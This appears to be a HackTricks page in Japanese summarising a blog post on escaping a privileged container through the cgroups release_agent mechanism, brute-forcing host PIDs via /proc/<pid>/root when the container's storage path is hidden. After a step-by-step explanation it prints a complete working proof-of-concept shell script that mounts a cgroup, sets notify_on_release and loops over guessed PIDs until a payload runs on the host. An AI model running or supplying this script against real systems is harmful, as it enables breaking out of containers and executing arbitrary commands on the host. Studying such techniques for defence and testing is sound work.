release_agent exploit - Relative Paths to PIDs

htARTE(HackTricks AWS Red Team Expert) htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ!

HackTricksをサポートする他の方法:

詳細については、https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.htmlからブログポートをチェックしてください。これは要約です:

この技術は、Kata Containersや特定のdevicemapper設定など、コンテナのファイルシステムパスを隠すストレージドライバー設定によって引き起こされる課題を克服し、コンテナ内からホストコードを実行する方法を概説しています。

主なステップ:

  1. プロセスID(PID)の特定: Linux疑似ファイルシステム内の/proc/<pid>/rootシンボリックリンクを使用すると、コンテナ内の任意のファイルにホストのファイルシステムからアクセスできます。これにより、ホスト上のコンテナのファイルシステムパスを知る必要がなくなります。

  2. PID Bashing: ホスト上のPIDを検索するために総当たりアプローチが採用されます。これは、/proc/<pid>/root/<file>で特定のファイルの存在を順次チェックすることによって行われます。ファイルが見つかった場合、対応するPIDがターゲットコンテナ内で実行されているプロセスに属していることを示します。

  3. 実行のトリガー: 推測されたPIDパスがcgroups release_agentファイルに書き込まれます。このアクションによりrelease_agentの実行がトリガーされます。このステップの成功は、出力ファイルの作成を確認することで確認されます。

悪用プロセス

悪用プロセスには、コンテナ内で実行されているプロセスの正しいPIDを推測してホスト上でペイロードを実行するためのより詳細な一連のアクションが含まれています。以下は、その展開方法です:

  1. 環境の初期化: ペイロードスクリプト(payload.sh)がホスト上で準備され、cgroup操作のためのユニークなディレクトリが作成されます。

  2. ペイロードの準備: ペイロードスクリプトには、ホストで実行されるコマンドが含まれ、実行可能になります。

  3. Cgroupの設定: cgroupがマウントされ、構成されます。notify_on_releaseフラグが設定され、cgroupがリリースされるとペイロードが実行されるようになります。

  4. PIDの総当たり: ループが潜在的なPIDを繰り返し、推測された各PIDをrelease_agentファイルに書き込みます。これにより、ペイロードスクリプトがrelease_agentとして設定されます。

  5. トリガーと実行の確認: 各PIDに対して、cgroupのcgroup.procsに書き込み、PIDが正しい場合はrelease_agentの実行がトリガーされます。ペイロードスクリプトの出力が見つかるまでループが続行され、成功した実行を示します。

ブログポストからのPoC:

#!/bin/sh

OUTPUT_DIR="/"
MAX_PID=65535
CGROUP_NAME="xyx"
CGROUP_MOUNT="/tmp/cgrp"
PAYLOAD_NAME="${CGROUP_NAME}_payload.sh"
PAYLOAD_PATH="${OUTPUT_DIR}/${PAYLOAD_NAME}"
OUTPUT_NAME="${CGROUP_NAME}_payload.out"
OUTPUT_PATH="${OUTPUT_DIR}/${OUTPUT_NAME}"

# Run a process for which we can search for (not needed in reality, but nice to have)
sleep 10000 &

# Prepare the payload script to execute on the host
cat > ${PAYLOAD_PATH} << __EOF__
#!/bin/sh

OUTPATH=\$(dirname \$0)/${OUTPUT_NAME}

# Commands to run on the host<
ps -eaf > \${OUTPATH} 2>&1
__EOF__

# Make the payload script executable
chmod a+x ${PAYLOAD_PATH}

# Set up the cgroup mount using the memory resource cgroup controller
mkdir ${CGROUP_MOUNT}
mount -t cgroup -o memory cgroup ${CGROUP_MOUNT}
mkdir ${CGROUP_MOUNT}/${CGROUP_NAME}
echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release

# Brute force the host pid until the output path is created, or we run out of guesses
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done

# Wait for and cat the output
sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
AWSハッキングをゼロからヒーローまで学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated